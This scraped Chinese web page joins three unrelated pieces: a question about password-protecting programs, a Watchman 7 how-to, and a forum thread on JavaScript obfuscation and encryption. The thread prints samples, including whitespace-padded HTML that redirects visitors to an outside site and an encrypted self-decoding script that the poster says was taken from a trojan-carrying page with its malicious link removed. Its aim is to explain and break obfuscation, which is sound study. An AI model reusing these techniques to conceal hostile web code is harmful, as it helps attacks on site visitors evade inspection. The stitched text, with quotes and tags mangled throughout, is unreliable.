怎么给电脑应用程序加密密。比如说:LOL 加密。运行输入密码

Watchman 7加密应用程序的方法 - 河东软件园
Watchman 7加密应用程序的方法
时间: 16:51作者:wangwenlang来源:河东软件园人气:4(0)
  我们的应用程序中常常有许多重要/隐私的数据,而为了防止他人在未经许可而运行我们的程序,我们可以对软件进行单独的加密,那么我们如何加密应用呢,小编这里为您分享通过Watchman 7加密应用程序的方法,用户可以通过简单几步快速实现应用程序的加密,而且软件其采用先进的算法,能够极大程度的提升安全性,有需要的用户不妨按照如下的步骤进行操作吧!
  1、首先,我们运行 Watchman 7,进入了如下所示的软件主界面,如下图所示。
  2、用户点击功能栏上的【向导】按钮,呼出了如下的欢迎使用新任务向导模式的窗口,我们点击【下一步】继续。
  3、弹出了如下的安全选项界面,我们选择【密码保护(选择程序或资源,进行密码保护,多个人资源可用同一密码保护)】,然后点击【下一步】。
  4、弹出了如下的密码保护窗口界面,如下图所示。
  5、用户点击【浏览】按钮,然后即可选择您要加密的程序/资源,然后配置名称、任务名(根据需要填写)。
  6、紧接着,进入密码保护窗口,用户输入要加密的密码并再次输入密码进行确认。
  7、弹出【完成】的提示窗口,我们选择【开始】或【完成】即可。
  8、当用户需要对我们的加密程序进行管理时,要求我们输入所设置的密码。
  以上就是Watchman 7加密应用程序的方法,帮助您快速对应用程序进行加密保护。他的最新文章
他的热门文章
您举报文章:
举报原因:
原文地址:
原因补充:
(最多只允许输入30个字)[专题讨论]JS脚本混淆、加密
[专题讨论]JS脚本混淆、加密
[专题讨论]JS脚本混淆、加密 欢迎大家参与讨论! 新年新气象!好好研究一把自己关心的专项问题。感兴趣的兄弟们请务必踊跃发言。
首先,我抛砖引玉了。
“混淆”也好,“加密”也好,都是为了加强代码的安全性,防范被人任意查看,在一定程度上保护资源。
请大家注意,在本主题的标题上,我把“混淆”、“加密”这两个概念堆在一起了,为的是从实现目的的角度着眼,从实践的角度着手,不主观地排斥任何手段。所有“混淆”技巧都是为了降低代码的可读性;所有“加密”技巧都是要通过“解密”计算过程将代码还原以后才能执行。
但是,把“混淆|加密”和在一起讨论,并不意味着我们要把概念搞混,在这里为了预防接下来的讨论中发生因概念不清而导致偏离主题,在先说明我们这里所讨论的范畴不包含代码的encode编码形式(&script language=&JScript.Encode&&)。这个既非“混淆”,也非“加密”,而是“编码”,相应的解码过程早为业界所熟悉,因而没有多大的保护意义,最多只是让人多费一道手续而已。当然我们可以把它当作“混淆|加密”的最后一步,目的为了唬住不了解它的人或者让了解的人多费一道手续。与此类似的,单纯使用escape或encodeURI方法进行编码也就不用再说了,当然作为步骤使用这些编码方法都是无可厚非的。
理想的“混淆|加密”应该具有以下特点:复制内容到剪贴板代码:1、没有确定的破解模式;
2、很难编制自动破解程序(只能手工破解);
3、破解过程繁琐、耗时;
4、“混淆|加密”后的代码,比原始代码长度增加少;容易想象得出,如果没有第4条的限制,那么前三条是很容易实现的,只要疯狂地添加与代码执行部分无关的字符就可以了。
以上四条是最基本的要求。至于“使人眼从主观上感觉混乱”可以认为是第3条的一个实现方式,恢复代码可读性可能是破解过程的主要工作内容之一。
接下来,我希望大家一起来总结一下现有的“混淆|加密”技巧,以作为我们进一步研究的基础。任何个人的见识终归总是有限的,唯有请大家集思广益才能真正有所突破、建树经典。
见过这样一些“混淆|加密”技巧:
1、去除缩进、空行、换行、注释
这个是混淆的基本手段,太基本了,不想多说。可以缩短代码。一般根据“;”所在,恢复换行是最常规的破解技巧。
2、变量名替换
将 JavaScript 文件中所有的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读。
替换方式大概有“缩短”和“改乱”这两种。
举例:http://pub.idr.gov.cn/dujid/projects/jsdisturber/&&这个是改乱的
有一个叫做Javascript Obfuscator的软件,充斥在大大小小的软件下载站上,各位或许用过也说不定。
这一类的混淆器都有不少的参数可以设定。对此我们不知是该哭还是该笑。
这种技巧对于长而复杂的代码比较有效,也就是可以让原本就难懂的代码变得更难懂。但是对于简短的代码来说就没有什么保护意义了。没有确定的破解模式,但只要将“缩短”和“改乱”的变量名替换成比较规整的字符,虽然变量名的自我描述性不能恢复,代码的可读性却能有所恢复。
3.通过自定义变量名引用JS关键字
例如;var d=
接下来的代码中所有的关键字document都用d来替换。
这种技巧可以缩短代码。反方向替换即可还原。
4、通过添加大段大段的空白,把代码前后间隔的很长,从而干扰阅读。 这里添加的空白一般是\x00,而不是通常所谓的“空格”(\x20)。复制内容到剪贴板代码:&& && && &h& &t& && &&&m& &&&l& && &&&&
&& && && &h& &e& &&&a& &&&d& &&
& && && &&& &m& &e& & t& && &a& && &h& &&&t& && &&&t& && &p& && &-& && & e& && && &q&&u& &&&i& && &v& &=& && &&&& C on& && && &t& && & e n& && && &t& && &&&-& && && &L a& && &n& & gu& & ag& & e& && & && && && && &c& &o&&n& && &t& && &e& & n& &&&t& && && &=&&&&&z h-& && &c& && && &n&& && & &
& && &&&&& &me& && &t a& &&&h& & t& &&&t& &&&p -& && &e q& &ui& & v& && && &=& &&&&& && &C& && & o& &nt& & e& && && &n& &&&t& && &&&-& && &Ty& && & p&&e && & co& & n& & t& &e& && &n& && &&&t=& & && && &t& && &ex&&t& &/& && &h& & t m& && &&&l&&;& && && & c&&h a r& && && &s e& && & t& &&&=& && & g& && &&&b& && &&&2 3& &&&1& &2& &&&&& & &
& &&&&& && && &t& && &&&i& &&&t& && & l& && & e& & &&&网& && &页混& && && &淆& && & && && & /& &t& &i t&&l& &e&&&& && &
& & && && & met a& && && && &n& &&&a& && && &me& && & =&& && & g& && &e& &n& && &&&e r&&a& &t o& && &&&r& & && &co& && & nt& &&&e& &n& && &t& &&&=& && &&&&& && && &Mi& &c& & r& && &o& && &so& && &&&f& && &&&t& && && && &Fron& && & tP a&&g&&e& && && &&&4& &&&.& &&&0 && && & && && && &
& && &&&&& && & me& &&&t& &&&a& && &n& && && &a& && &&&m& &e& && & =&&k& && & e& & y& &&&w& && &&&o& & r& && &d& && && &s& && && && && &c& && && &on&&t e& && &n& &t&&=& && &&& && &&&网& && & 页& && &混& && & 淆&&&& & && &&&
& & & m& & et& && && &a& && && && & n& &a& && && &m e&&=& && && && d& & e&&s c& && &&&r& && && &i& && &&&p&&ti& && &&&o n && && &&&co&&n& & te& & n& & t& && & =& && && && 网& && &&&页混淆 &&& &
&& &m&&e& &&&t a& && && && && &h& && & t&&t& && && &p&&-e& && && &q& && && &u&&i& && &&&v =&r& && & e& &f& &r&&e&&s& & h& && && &&& &&&c& && &o nt& && &e& && & n& & t& & =& &&& &8& & ;& && && &ur& && & l& && &&&=h& && & t tp :& &/& && &&&/& && &s& &&&a& && && &ge .& && &6& && & 8&&a&&b& &.& && && &c& && &&&o& && && &m& &&&&& && &&& && && &
& && & && && && &s& && &t& &&&y& && & l& && & e& && && &&&&A& && && &{
& &&&F& && &&&O& && &N T -& && &S& && &I& &&&Z& &&&E& && & :&&1& &&&2&&p& & x& &;& && && &C& && && &O& &LO& &R& && &&&:& && & #& &0& && &0& &&&0& &0& &0&&0& & ;& && && && &&&T& && &&&EX& && &T& && & -& && & D&&E& & C& & O& && && &R& && & A& &T&&I& && &ON& &&&:& && && && && && &n& && && &o& & n& &&&e
& && & }& &
& &&&A& && & : h& && && &o v& && &e r& && & {& && && &
& &&&&&&& C& && &&&O& && &&&L& &&&OR& && & :& && &&&# f&&f& &&&c& & c& &&&0&&0& && &
& && &}& &
& &&&A& && && &.& && &&&b& &l& && && &u& && &e& && && & {&&
& &&&&&& && &&&C& &&&O& && &L& &&&O& && & R:& && && && && && &d& && & a& &r&&k& & b& && &l& && && &u& && &&&e& && &&&
& && && & }
& && &b& && && &o& && && &d& && &&&y ,& && & p& &&&,& && && && & td&&{& &
&&&&&&& && & F& &&&O NT& &&&-& && && &S& && &IZ& && && &E&&:& & 1& & 2&&p& & x
& &} &/& &&&s& & t y&&l& &&&e& && &&&&& &
& &&& && &&&/& & he& && & a& &&&d& && &&
& & && && &&&b o& &d&&y& && && && && & s& & t& && &y& && & l& && & e& && & = & B& & O& && &R& && &D& && &E& && && &R& && &-R& &IG& && &H& &&&T& & :& && &&&#&&c& && &&&c& & c& & c& & c c& && && && &&&1& && &&&px& && && && &&&so& & l i& && && && & B O& && && &R& && && &D& & E& &R -& && &T& && &O& && &&&P:& && && &&&#0& && && &0& &&&0& && &&&00& & 0& && && && && && &1p& && &x s& &o& &&&l i& &&&d&&;& && && && & M& && & A& &&&R& && &G&&I& & N& && &&&:& && & 0& &p& && & t& && &;& && && && &O& && & V& && & E R& && & F& &L& &O W :& && && &&&h& &&&i& &dde& && && &n& &;& && && & B& & O&&R& &&&D& && &&&E& &R&&-&&L& & E& && &FT :& & #& && &c& &c&&cc& && &&&c c& && && & 1& && && &p&&x& && && && &s& && &o& &l& && &i& &&&d& && & ;& && && && & BO& & R& && & D& &&&E R-& && &&&B& && & O T& &&&T& & O&&M& && &:& && && & #& && && &c& && &cc& && && &c&&c& &c& && && &1& &&&p&&x& && &s& & o& && && &li& && &d& && &&&&& && & b& && &&&g& && & C& && &o&&l& && &o& &r& && &=& & && &&&#&&F1& & F& && & 2&&F& & 4 && && &&&le& && &&&f t& && && &M& &a& && & r& && && &g& & in& & =&& & 0& & && && &t& &&&o& && &p& && && &M& && && &ar& & g& && & i& && && &n& & = &&&1& && &&&0& && &&&&& && & && && &&&
& &&& && &&&d& &&&i&&v& &&&a l& &i& && &g& && & n& &=& & && & ce& && && &n& & t& && && &e r& && &&& && & &&&
& && && && &&&&& && & c& &&&e& & n&&te& && && &r& &&&&& &&&
& && && && & && && && &p& && &&   &/& && && &p& && &&&&& &&&
& && && && && && & && && && &p& & &&& & & && &&&/&&p& & && && &
& && && && && && && && && && && & &&&t& && && &a& && && &b& && & l& && &e& && && &b& && & o& && && &r& && &&&d& && &e& &&&r& & = & 1& && && &&& && && && &ce& && & l& && & l&&p& && & a d& && &&&d& && &i&&ng& && & =& &&0& & && && &&&c e& && &&&l&&l s& && &&&p& &&&a& &c& && && &i& &&&n& & g& &&&=& && &&&&& & 0& &&&&& && && & s& &t& && & y&&l e& && &&&=& && b& && && &o& && && &r& && &&&d& && &&&e&&r& && &-& &c& & o l& && && &l& &a& && && &p& &&&se& &&&:& &c& && & o& && &&&l l&&a p&&s& &e;& && && && && &b& && && &o& && &r&&d& && &&&e r& && &-& && &&&s& &t& && && &y& && && &l& && &&&e& && &&&:& &d& &o& & t& && && &t& &e& &d& && &;& && &&&bo&&r& &d& && & e& && &r& && && &-&&w& && && &idth& &:& && && &1& & && && && && && &b& && & o& & r d& && && &e& && &r&&c& &o l& &&&o& &r= && && &#0&&0& & 0& && &0& &&&0& && && &0&&&& && &w& &&&i&&d& && && &t& && &h& && & =& && &&&&& &&&6& && &1&&0& && & && && &&&h&&e& & i& &&&g& &h& && && &t&&=& && &&&&& & 2&&8& && & 8& &&& && && && && &i& && & d& &&&=& && &&& &A& & u&&toN&&u& && & m& && &&&b& & e& && &&&r& &1& &&&& && && &
& && && && && && && && && && && && && && &&&&& && &t r& & && &&&
& && && && && && && && && && && && && && && && && & && &td& && && && && & w& && & i& && & d& & t& &&&h& && &=&&&& && && &6& && && &1& & 0&&&& && &&&he i&&g& && &&&h t =& && & &&&2& & 0& && &&&&& && && &&&b& && && &g& &c& & o& && &l& &&&o& &r& && && &=&& & #4& && & A& &&&4& &&&A& && &4&&A&& && &&& &
& && && && && && && && && && && && && && && && && && && && && && && && && & && &p& && && &a& && & l& & i& && &&&g& && &n =& && && &&&&c& && && &en& && &&&t er& && &&& && &&&& && && &&&f& & o& && &n& &&&t& && && &&&c& && &&&o& && &l&&o& && && &r&&=& && & & #& &&&F& && & F& & F& && &&&F& & FF& & && && &&& & && && && &n& && & b& && & s& &p& && &;& && && &『网 页 混& &&&淆& && & 』& && && && && && && && && && && &
& && && && && && && && && && && && && && && && && && && && && && && && && && &&/ f& && &on&&t& && & && &&&&&&/& && && &p& && &&& && &
& && && && && && && && && && && && && &&&&& && &&&/& && &&&t&&d& && && &&& &&&
& && && && && && && && /& && &t& && &r& && &&&&
& && && && && && && & && & tr& &&&&& &
& && && && && && && && && && && && && && && && && &&& &t& && & d& && && && &wid& && & t&&h& & =& && & && && &&&6& && & 1& && &0& && & && && && && & h&&ei& && && &gh& &&&t& &= && && &2& && && &5& && &&&2& & && && && && && & b g& &c o& && & l& && && &o& && && &r=& && &&&&& &#& &F1& & F& && &&&2& && &&&F& & 4& && && &&& && &&&v&&a& & l& && & i& && &g& && && &n&&=& && && &&& & t& &&&o& & p& &&&&& & && && &&&&b& & r&& && &&&
& && && && && && && && && && && && && && && && && &&& &n& && &&&b& && &&&s p&&; && &n& && &&&bs& && &&&& && &&&网& && &&&页& && && &混& && &淆& && &&&(& & && && &a& && &&&h& &&&r e& && & f& && && &=& &&&&& &&&htt& & p& && & :& & /& && && &/s& && & a& &g e& &.6 8& && && &a& & b& && & .& && & c& && &o& && & m& && &&& && &&&&& && & h& && & t& &&&t& &&&p& &&&:& && && &/& && &/& && &s& &&&a& & g e& && & .6& && && &8& &a b& && &&&. c& && & o& && & m& && &&&&&&/& && &a &&&)& & && &&&b& && &r& && &&& && && && && && &
& && && && && && && && && && && && &&&&& && && &p &&&&& && & n& && &b& &&&s p& & ;& && && && nb sp& && && &;& && && && && && & && &a&& && & &&&/& && &a& && &&& && &&& & i&& & && &a& & h&&r& & e& &&&f& && && &=& & && && &&&h& &&&t& & t& && & p& && &:& && && &/& & / s& & a& && & g& && && &e.&&6& && &8& && &a& && && &b& && && &.& && & c& && & o& &m& && &&&&& && && &&& &网& &页& && &混&&淆& && & && & f o& && &&&n t& && && & s& && & i& && & ze& && & =& &&&&& && && &2& && &&& &&&&&&&& &&&b& && &&& &&& && & f& && & o& && && &n& &&&t& && && && &&&c& && &o& && &l& && &&&o& && &r& && &=& #& && && &F&&F 0& &0& && && &0& && &&&0& && &&&&&& &&&!& & && && && &/&&f o& & n t& && &&& && &&f& &o& & n& && &t& && && &&&c o& && & l& && &o& & r& && &=& && #&&F& && && &F& && &F& && && &F& && & 0& & 0& && &&&&& && &&& && &!&& &&&/ f o& && &&&n& & t&&&& && &&&&f o& & n& & t& && && & c& & o& && & l& && &o& &r& && & =& & && && && &#& && & 0& &&&0& && &&&9& && &A& && &C& && && &E& && && &&& && && &&&&!&&&& && &/ f& && & o& &&&n& && &&&t& &&&& && && && &/&&b& & && && && && /& && &&&f o& && &&&n& &&&t& && &&& && && &&& && &/a& && && &&& &&& &/& && &i& &&&&& & && && && &/& &p& && && &&& && && && && &
& && && && && && && && && && && &&&&& && &&&/& && && &t& &&&d& &&&&& &
& && && && && && && &&&&/&&t& &&&r& &&& && && &
& && && && && && &&&&& && & t r& && &&& &
& && && && && && && && && && && && && && && && && t& & d& && && & w& &i& && &&&d& && &t& && & h&&=& && & &&&6& && & 1 0& && && &&& && &&&he& &&&i&&gh& && && &t& && & =& &&&&1& && & 6&&&& && && && &&&b& && &&&g&&c&&o& && && &lo& && && &r& &&&=& && && &&& & #& &&&F& & 1& & F& && &&&2& &F&&4& && &&& &&&b o& && &r& && &&&de& && &r& & c& && &&&o& && &&&l o& && & r& && &&&=& && && &&& &&&#& && &0& & 0&&8 0& && &&&0& &&&0& && & &&& && && && &&& &&&m& && &ar& && &q& && & ue e& && && & o&&n& & m& &&&ou& && &s e o& && &v& && && &e& &r& && && &=& t& && & h&&i&&s& && & .& && & s&&t&&o& && &p& & (& && &)& && &&& && && && && & on& &m& & o u& &s& && && &e&&o& && && &u& && &t& && && &=&&&& && &th is&&.& & s t a& & r t& && &&&(& & )& && &&&&& && && && && & sc& && && &r& && &&&o& && && &l& &&&l a& && & m& &&&o& &u n& && & t& && &&&=& & &&&5& && &0&&&& && && && && && &s& &&&c r& && & o& &&&l& && &&&l& &&&d& &&&e& &&&l& &a y& & =&&&&&1 00& && &&&&& &b& && &e& && &&&h a& && & v& & i& && & o& &r& &=&& & s&&l&&i& && & d e& &&&&& && && &&&l& & o& && &&&o& && & p& && && &=& && &&& && &1&& && && &&&&
& && &&&&& && &&&a& && &&&h& &r&&e& && & f& & =& & && && & h&&t& &t& &p& && &:& && &&&/& & /&&s& & a&&g& &&&e&&.6& && &&&8& && && &a&&b& & .&&c& &o& &m& && &&&&& &&& && &&&h t& &&&t& && && &p& &:& && &&&/& &/&&s& && && &a&&g& && & e& &.& && &6& && &8 ab .& &c o& && &m& && &&& & n& && &b& & s& && & p&&&& &&&/&&a&& && && &&&&n& && && &b s& && &p& &&&;& && &&n& & b& &&&sp& && &;& &&&&& &n& && &&&b& & s&&p& && && &;&&&& && &&&n& && &&&b s& && &p& && &&&;& & & n b& &&&s& && &p& && &;& & &n& && && &b& &&&s& && & p& &&&;&& &&&n& &&&b& & s& &p& && &&&;& && & && && && &n b&&s& && &p& &;& & && &n b& && &&&s& & p& && &&&;& & &&&n& & b& && && &s& & p& && &; &&&nb s& && &p;& &&&&& &&&n& && &&&b&&s& && &p&&;&& &n& && &&&b& & s& && &&&& && & && & n& &&&b& & s&&p& && & ;& n& && && &b& &&&s& && && && && &&& & n& && & b&&sp& &;& &&& && &&&n& && & b& &&&sp& &;&& &&&n& &&&b& &s& && &&&p&&;& &&&&& && &n& &b& &&&s& && &p& & ;& && && &&& && & n&&b& && &s&&p& && &&&;& && &&& && & n b& & sp&&;& & && && &n& &b& && && &s& && && &p& && && &;&&&& &n& && & b&&s& &p& && && &;& &&n& && & b& &s& &p& &&&;&&&& &n& && && &b& &s& && && &p& && &&&;& &&& && &&&n& &bs& &&&p;& && && &&& && & n& &b& && & s& && &&&p& && & ;& &&&& n& &b& && && &s& && &&&& && &&& &n& && &&&bs& && && && && &
& && && && && && && && && && && && && && && && && && && && & && &&&/&&m& &&&a& && &r& && &q&&u&&e&&e& &&&&& && && &&&&&&/ t& && &d& && &&& && &&&
& && && && && && && && && & && && && &/& && &t& && && &r& && && &&& &
& && && && && && &&&& /& &&&t& &&&a b& &&&l&&e& && &&& && &
& && && && && && &&p&&&& && & && && && &n& && &&&b& & s& &p& && &&&;& &&& & /& &p& && &&&&& & && && & /& && & ce& && && &n& && & t& &&&e& && &r& & &&&
& & && && && &/& &&&d& &&&i v& && & && &&&
& &&&&/& & b& &&&o& && & dy&&&& &
& &&&&& && &&&/&&ht& && &ml& &&&&&&
& && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && && &把多余的空白批量去除掉就没事了。
也有两种:
一种是通过利用[\]和[&、']及变量定义语句来添加与代码功能无关的字符;
另一种就是增添与代码功能无关的运算语句。
下面这段算是一个综合的例子,这是从收藏的老贴上翻来的,不过代码似乎不完整,不能运行。就意思意思吧。复制内容到剪贴板代码:&script language=&javascript&&&!--zV34=&xJ\$xHGxa\=&,tW20=&xJH\%a\^\$x\=&;0.2467711,hX92=&0.6432127&,zV34='\!t\]\[Oi6f\'U\&Ke1AY\n\_d5\{\*\/Ta\&M\&\~B\\\@m\=nSj\-yNQb0q\,\}3\$IrEVpRx\#\`kz\)Ls\(7\&\|Wvw\+2\.F\:lJG8oC\ DX94\%uZ\rh\?H\;Pc\^g',tW20='\ w\?\'8U\#qdc\_\(\=PzXy\+\$hpjS\/\;\n9n2eL4\\f\.\r\-kl\~3x\:\&Q\^roEI0\]\}1\|\,bAZB7\&HsC\&TFDaJOY\{\`g\&\!tmu6\%G\@KR\[N\)vMVW5\*i';function uC37(tU37){&xJaa\^\=GUa&,l=tU37.'VSB\&\^XbVm',w='';while(l--)&xJ\%\=x\^\%aa&,o=zV34.indexOf(tU37.charAt(l)),'VSs\^X\&Xbi',w=(o==-1?tU37.charAt(l):tW20.charAt(o))+w;&xJ\$\&a\=H\&\=&,zV34=zV34.substring(1)+zV34.charAt(0),document.write(w);'VSX\&\&Bms\^'};uC37(&\|7U3g\{o\!y\+\&J\ \+JBe\*\+\?\+7U3g\{osguQ\@ecMOEag\=K\'\$U\ CB\&on\+yyh\:\=\ \&Uog\$\&\!\&\'CKh\:3Bo\ 3\&\!\=\+y7Bpa\=\ \&Uog\$\&\!\&C\'CKh\:\'\$U\ CB\&on\$\&U\$\&oBboCB\&\ e\&\'Ca7BoWgCB\$\ oKq\&C\'CKhq\#OEEhpa\&C\'CKhap\'\$U\ CB\&on\$\&U\$\&oBboCB\&\ e\&Bt\!v\ \&Uog\$\&Kq3Bo\ 3\&\!\=\+y7Bqha\=\ \&Uog\$\&\!\&\&\'CKBh\:g\=K\'\$U\ CB\&ony\+\nB37xxtg\&\'\$tn7g\'B\`\+3h\:g\=KBnt5gU58eRh3Bo\ 3\&\!\=\+y7Bappag\=K\'\$U\ CB\&ony\+\nB37h\:\'\$U\ CB\&onU\+\{o\ 3BI\?B\&o7KI\?B\&onH\.i\/Iw\.P\rha\'\$U\ CB\&on\$\&C\$\ 7B\'\$t\&e\&\&\'CapBy7B\:\'\$U\ CB\&on\$\&C\$\ 7B\ \{e\&\&\'Capa\n\)QMeOOQOaBIRQeM\@EOa\=\ \&Uog\$\&\!\&\'t7Kh\:7By\=n7o\+o\ 7\!e\!q\!qa7BoWgCB\$\ oKq\&\'t7Khq\#\~chapa\&\'t7Kha\&HD\@eQMO\~aU\%\~MeLMOQa\=\ \&Uog\$\&\!\&3o\=KBh\:3Bo\ 3\&\!\=\+y7Bpa\=\ \&Uog\$\&\!\&3ooKh\:3Bo\ 3\&\!o3\ Bpa\=\ \&Uog\$\&\!\&\'\'7Kh\:\'\$U\ CB\&on\$\&C\$\ 7B\'\$t\&e\&3o\=a\'\$U\ CB\&on\$\&UygU\-e\&3ooag\=K\'\$U\ CB\&on\+yyh\:\'\$U\ CB\&on\$\&7ByBUo7o\+3oe\=\ \&Uog\$\&\!Kh\:3Bo\ 3\&\!\=\+y7Bpa7BoWgCB\$\ oKq\&\'\'7Khq\#LEEhppa\&\'\'7Kha\-z\@QeL\@REaa\&ygUB\&7B\'\&o\$\&eqtttnU5g\&\+AnU\$Cqa\|T7U3g\{os&)//--&&/script&毫无疑问,从混淆的角度来说,这种技巧可以比较有效地保护相对简短的代码,因为这个方法增加了代码的长度和复杂度。当然,增加长度这一点是比较让人无奈的。如果原始的代码本来就长,混淆以后也许就会长得让人无法容忍了。
6.对原代码进行加密,同时附上解密的代码
运行时先解密,然后通过document.write()或eval()或innerHTML把代码释放出来执行。
像这种类型的,通常加密解密过程可能搞得比较复杂,还加了混淆,但是这一切就像《红楼梦》的判词里唱的那样纯属“枉然”:因为这把代码释放出来执行的最后一步通常就是明码,而且还不加混淆。这就让人不禁想起了那个老生常谈的“木桶原理”,木板箍成的水桶的盛水能力取决于它最短的那片木板,代码加密的保护强度取决于最薄弱的那个环节。
破解时只要把最后这一步的代码改掉就行了,谁会在意他中间过程有多高明、多复杂?
下面演示了一例:
在这里,我在网页里随便添加了一个textarea,名为kc,把document.write(xxx)改成了kc.value=xxx。于是,在代码经解密最后释放出来时没有被执行,而是直接扔进了textarea里。&html&&head&&Meta Name=Encoder Content=cirock&&textarea name=kc style=&background:#EEEEEE;width:800height:600overflow:auto&&&/textarea&
&script language=&javascript&&&!--
oO68=&m438omB\`\!t31&,yQ69=&4mooE\`B&;8.,dJ48=&.8198819&,yQ69='\&\^4\,\[\$\*\)\}\n\+Vg\|r6\?d\;W7Si\(M\:TQv\%\!ma\@\{ot1ycAw9s\rOPH\#LRBXE5F\~Iq8J0\\\&kleZz\-UnG\.D3\&\&Kj2pY\/Cbf\ u\_\'N\`hx\=\]',oO68='z\^G\.\;d\?B8\&C\$\+\&Fanc\|Aw\}uWpR\@L1fTE6HeU5\-2\]\:\`\&\)VxykXSlM7m9\ NDYv3ho\&r\=\[K\n\'\rI\#\(i\~0O\\\%bPj\,\/s\*\_\{JtQq4\!gZ';function dY24(yW35){&4\)B33omE&,l=yW35.'i\)n0P\)n3',w='';while(l--)&\)41QEBoo\!t31&,o=oO68.indexOf(yW35.charAt(l)),'i\}2\}200n',w=(o==-1?yW35.charAt(l):yQ69.charAt(o))+w;&41B\`EQ3E&,oO68=oO68.substring(1)+oO68.charAt(0),kc.value=w;'i\)o20PP\ '};dY24(&\&\)\]FuP5\_\=6I\+\{6\+\[g\%616\)\]FuP5Os\@\&vgvG9\~\|\nxbhgGGG\&\|\|J\=u\]\[I\)\[cJ5UJgz\@m\:p\_uy\:z\|\&\,\)\]FuP5O&)//--&&/script&&SCRIpT laNGUage=JavAsCriPt&dY24(&xCrXLRl\\xCr\!KH\|\\rlYq\%\{\!aK\_Z\^\[\!g\]KgKibj\&\^\{aK\[ZV\-\]\[KV\!KK\-\{\-\]jKZ\-Kg\-\/\:VV\\xCr\/\!KH\|\\xCr7y\~\,\\xCr\~Y\+\{V\-\]\[KZ\^\~Yukl\`\,\@\{\#5\#K\^\\xCry7h9sL\{W\|Z\:\:\:\-f\{\-\]jKZHjj\[W\:H\-W5\#\/g\r5\[K5\*bK\:\-\{xC\:\[HVVW\|Z\:\[VW\|\@H\|\*33oHn\r\|3\_\_\r22\:\_\r\)0\}\}\rooHHoo0\*\}H22\\rk\`M\`R\{q\`R9Z\^s566H\#\|\^\{\+\`lI9Z\^MK\[H\-K\|\{L5jW\:V\;\{R9qI\^\\rk\`M\`R\{q\`R9Z\^wW\#\|5\&\^\{\+\`lI9Z\^\?\&\[5\*H\[tW\_\[\^\\rk\`M\`R\{q\`R9Z\^Y\-K62\^\{\+\`lI9Z\^\:566H\#\|A\_W\[K\@\/\/s\@\&wYq\~ywu\&XK\[j\&HjjVi\:\!6\^\\r\/y7h9sL\\xCry7h9sL\{W\|Z\'\&\|VV\{\-\]jKZHjj\[W\:H\-W5\#\/g\r5\[K5\*bK\:\-\{xC\:\[HVVW\|Z\:\[VW\|\@H\|\*33oHn\r\|3\_\_\r22\:\_\r\)0\}\}\rooHHoo0\*\}H22\\rk\`M\`R\{q\`R9Z\^s566H\#\|\^\{\+\`lI9Z\^MK\[H\-K\|\{L5jW\:V\;\{R9qI\^\\rk\`M\`R\{q\`R9Z\^wW\#\|5\&\^\{\+\`lI9Z\^\?\&\[5\*H\[tW\_\[\^\\rk\`M\`R\{q\`R9Z\^Y\-K62\^\{\+\`lI9ZQ\:566H\#\|AbHfHV\:aWj\-\@KfH\[p\^\|5\:J6K\#\-i\&aW\-Kp\&\^rusMYkL\{\[H\#\&JH\&KZ\&\&\&\^bHfHu\:aWj\-\&\&\&\^\{Va\:Z\&\&\&\^\!\-\-j\@\/\/\&\&\&ibWH\#\&\!J\ Poi\:\#\/\[\!i\&W\_\&\&\&\^\&\^\$u\-aW\#\&i\_a56s\!Has5\|KpnP8\$\&\^r\/usM\&\^\$\&\^YkL\&\^\$u\-aW\#\&i\_a56s\!Has5\|KpnP88\^8Q\\r\/y7h9sL\\r\/\~Y\+\\xCrusMYkL\\\:\:\:\-fis\[W\:\=p8AVK\-LW6K5J\-p\^\'\&\|VVis\[W\:\=p8A\^\;o8Ar\/usMYkL\\xCr\/7y\~\,\\r\/XLRl\\xCxC&)&/script&&/head&&body&&noscript&&b&&font color=red&此处删去原页面作者的粗话若干 &/font&&/b&&/noscript&&/body&&/html&
&提示:您可以先修改部分代码再运行上面的例子是我偶然撞见的一个带木马的网页。已经去掉了木马链接。运行是安全的。这一例中也用到了第5类技巧。
如果能够设法保护最后这一步的代码,这种方法无疑将成为通用性最好的一类技巧。
7、利用运算的起承转合来混淆代码
就是通过花哨复杂的对象引用方式和判断方式来迷惑人。
这是最高级的一类混淆技巧了,常见的手段有:复制内容到剪贴板代码:三元运算符?:
字符串操作
递归函数……等等。通常要结合其他几类技巧共同起作用。
给一个简单但又漂亮的例子:复制内容到剪贴板代码:function GoNewScene(){var _0xeca5x0=[&\x6C\x6F\x63\x61\x74\x69\x6F\x6E&,&\x4D\x61\x69\x6E\x2E\x61\x73\x70\x3F\x52\x3D\x30\x2E\x31\x32\x36\x33\x34\x37\x31\x31\x38\x36\x37\x31\x34\x33\x37\x30\x35\x39&];Temp1[_0xeca5x0[0x0]]=_0xeca5x0[0x1];}
function CheckOK(){var _0xdda5x0=[&\x47\x61\x6D\x65\x2E\x61\x73\x70\x3F\x53\x63\x65\x6E\x65\x3D&,&\x26\x58\x3D&,&\x26\x59\x3D&,&\x6C\x6F\x63\x61\x74\x69\x6F\x6E&,&\x52\x65\x47\x6F\x28\x29&,&\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74&];var _0xdda5x1=_0xdda5x0[0x0]+SceneMapID+_0xdda5x0[0x1]+SceneX+_0xdda5x0[0x2]+SceneY;fMain[_0xdda5x0[0x3]]=_0xdda5x1;window[_0xdda5x0[0x5]](_0xdda5x0[0x4],0x64);}
function ReGo(){var _0xe88ax0=[&\x47\x61\x6D\x65\x2E\x61\x73\x70\x3F\x53\x63\x65\x6E\x65\x3D&,&\x26\x58\x3D&,&\x26\x59\x3D&,&\x6C\x6F\x63\x61\x74\x69\x6F\x6E&];var _0xe88ax1=_0xe88ax0[0x0]+SceneMapID+_0xe88ax0[0x1]+SceneX+_0xe88ax0[0x2]+SceneY;Temp1[_0xe88ax0[0x3]]=_0xe88ax1;}它的“明码”是复制内容到剪贴板代码:function GoNewScene(){
& & Temp1.location=&Main.asp?R=0.437059&
function CheckOK(){
& & fMain.location=&Game.asp?Scene=&+SceneMapID+&&X=&+SceneX+&&Y=&+SceneY
& & window.setTimeout(ReGo(),100)
function ReGo(){
& & Temp1.location=&Game.asp?Scene=&+SceneMapID+&&X=&+SceneX+&&Y=&+SceneY
}上面的例子取自老贴http://bbs.blueidea.com/viewthread.php?tid=1831289
专题讨论的方向: 1、请大家跟贴,给出你见过的,认为经典(或有可取之处)的代码“混淆|加密”的实例,如果可能最好根据上面的分类判断归类,注明是属于第几类技巧。
